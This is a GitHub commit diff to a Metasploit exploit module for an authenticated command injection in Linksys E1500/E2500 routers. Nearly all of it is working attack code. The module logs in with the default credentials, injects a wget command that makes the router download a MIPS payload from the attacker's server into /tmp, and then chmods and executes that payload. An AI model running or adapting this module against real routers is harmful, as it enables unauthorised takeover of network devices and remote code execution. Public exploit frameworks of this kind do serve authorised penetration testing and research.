Skip to content

Commit b318b0c

Browse files
committed
Merge pull request #5 from jvazquez-r7/linksys_e1500_more_work
tested -> working
2 parents cd8bc2f + 0f965dd commit b318b0c

File tree

1 file changed

+64
-59
lines changed

1 file changed

+64
-59
lines changed

modules/exploits/linux/http/linksys_e1500_up_exec.rb

Lines changed: 64 additions & 59 deletions
Original file line numberDiff line numberDiff line change
@@ -19,17 +19,17 @@ def initialize(info = {})
1919
super(update_info(info,
2020
'Name' => 'Linksys E1500/E2500 Command Execution - Upload and Execute',
2121
'Description' => %q{
22-
Some Linksys Routers are vulnerable to an authenticated OS command
23-
injection. Default credentials for the web interface are admin/admin
24-
or admin/password. Since it is a blind os command injection
25-
vulnerability, there is no output for the executed command with the generic
26-
payload. A ping command against a controlled system could be used for testing
27-
purposes. You could also start the telnetd on the victim or just use the
28-
bind or reverse payloads.
22+
Some Linksys Routers are vulnerable to an authenticated OS command injection.
23+
Default credentials for the web interface are admin/admin or admin/password. Since
24+
it is a blind os command injection vulnerability, there is no output for the
25+
executed command when using the cmd generic payload. A ping command against a
26+
controlled system could be used for testing purposes.
2927
},
30-
'Author' => [ 'Michael Messner <[email protected]>', #Metasploit module
31-
'juan vazquez' # minor help
32-
],
28+
'Author' =>
29+
[
30+
'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module
31+
'juan vazquez' # minor help with msf module
32+
],
3333
'License' => MSF_LICENSE,
3434
'References' =>
3535
[
@@ -39,37 +39,37 @@ def initialize(info = {})
3939
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ]
4040
],
4141
'DisclosureDate' => 'Feb 05 2013',
42-
'Privileged' => true,
42+
'Privileged' => true,
4343
'Platform' => ['linux','unix'],
4444
'Payload' =>
4545
{
4646
'DisableNops' => true
4747
},
4848
'Targets' =>
49-
[
50-
[ 'CMD',
51-
{
52-
'Arch' => ARCH_CMD,
53-
'Platform' => 'unix'
54-
}
55-
],
56-
[ 'Linux Mipsel Payload',
57-
{
58-
'Arch' => ARCH_MIPSLE,
59-
'Platform' => 'linux'
60-
}
49+
[
50+
[ 'CMD',
51+
{
52+
'Arch' => ARCH_CMD,
53+
'Platform' => 'unix'
54+
}
55+
],
56+
[ 'Linux mipsel Payload',
57+
{
58+
'Arch' => ARCH_MIPSLE,
59+
'Platform' => 'linux'
60+
}
61+
],
6162
],
62-
],
6363
'DefaultTarget' => 1,
6464
))
6565

6666
register_options(
6767
[
6868
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
6969
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
70-
OptString.new('DOWNHOST', [ false, 'The host to request the MIPS payload from' ]),
71-
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
72-
OptString.new('SRVHOST', [ true, 'The local host to listen on. This must be an address on the local machine (do not use 0.0.0.0)' ]),
70+
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
71+
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
72+
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
7373
], self.class)
7474
end
7575

@@ -92,9 +92,7 @@ def request(cmd,user,pass,uri)
9292
"traceroute_ip" => ""
9393
}
9494
})
95-
9695
return res
97-
9896
rescue ::Rex::ConnectionError
9997
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
10098
return nil
@@ -112,29 +110,23 @@ def exploit
112110
#
113111
# testing Login
114112
#
115-
116113
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
117-
118114
begin
119115
res = send_request_cgi({
120116
'uri' => uri,
121117
'method' => 'GET',
122118
'authorization' => basic_auth(user,pass)
123-
})
124-
125-
return if res.nil?
126-
return if (res.code == 404)
127-
119+
})
120+
if res.nil? or res.code == 404
121+
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
122+
end
128123
if [200, 301, 302].include?(res.code)
129124
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
130125
else
131-
print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
132-
return
126+
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
133127
end
134-
135128
rescue ::Rex::ConnectionError
136-
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
137-
return
129+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
138130
end
139131

140132
if target.name =~ /CMD/
@@ -151,9 +143,9 @@ def exploit
151143
return
152144
end
153145

154-
155-
#thx to Juan for his awesome work on the mipsel payloads
146+
#thx to Juan for his awesome work on the mipsel elf support
156147
@pl = generate_payload_exe
148+
@elf_sent = false
157149

158150
#
159151
# start our server
@@ -163,7 +155,7 @@ def exploit
163155
if (datastore['DOWNHOST'])
164156
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
165157
else
166-
#do not use SSL ;)
158+
#do not use SSL
167159
if datastore['SSL']
168160
ssl_restore = true
169161
datastore['SSL'] = false
@@ -181,61 +173,74 @@ def exploit
181173
datastore['SSL'] = true if ssl_restore
182174
end
183175

176+
#
177+
# download payload
178+
#
184179
print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")
185-
186180
#this filename is used to store the payload on the device
187181
filename = rand_text_alpha_lower(8)
188-
189182
#not working if we send all command together -> lets take three requests
190183
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
191-
192184
res = request(cmd,user,pass,uri)
193185
if (!res)
194186
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
195187
end
188+
189+
# wait for payload download
190+
if (datastore['DOWNHOST'])
191+
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload")
192+
select(nil, nil, nil, datastore['HTTP_DELAY'])
193+
else
194+
wait_linux_payload
195+
end
196196
register_file_for_cleanup("/tmp/#{filename}")
197197

198198
#
199199
# chmod
200200
#
201-
202201
cmd = "chmod 777 /tmp/#{filename}"
203-
204-
print_status("#{rhost}:#{rport} - Asking the Linksys device to prepare #{downfile}")
205-
202+
print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
206203
res = request(cmd,user,pass,uri)
207204
if (!res)
208205
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
209206
end
210207

211-
212208
#
213209
# execute
214210
#
215-
216211
cmd = "/tmp/#{filename}"
217-
218212
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
219-
220213
res = request(cmd,user,pass,uri)
221214
if (!res)
222215
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
223216
end
224217

225218
end
226219

227-
228-
# # Handle incoming requests from the server
220+
# Handle incoming requests from the server
229221
def on_request_uri(cli, request)
230-
231222
#print_status("on_request_uri called: #{request.inspect}")
232223
if (not @pl)
233224
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
234225
return
235226
end
236-
237227
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
228+
@elf_sent = true
238229
send_response(cli, @pl)
239230
end
240231

232+
# wait for the data to be sent
233+
def wait_linux_payload
234+
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
235+
236+
waited = 0
237+
while (not @elf_sent)
238+
select(nil, nil, nil, 1)
239+
waited += 1
240+
if (waited > datastore['HTTP_DELAY'])
241+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
242+
end
243+
end
244+
end
245+
241246
end

0 commit comments

Comments
 (0)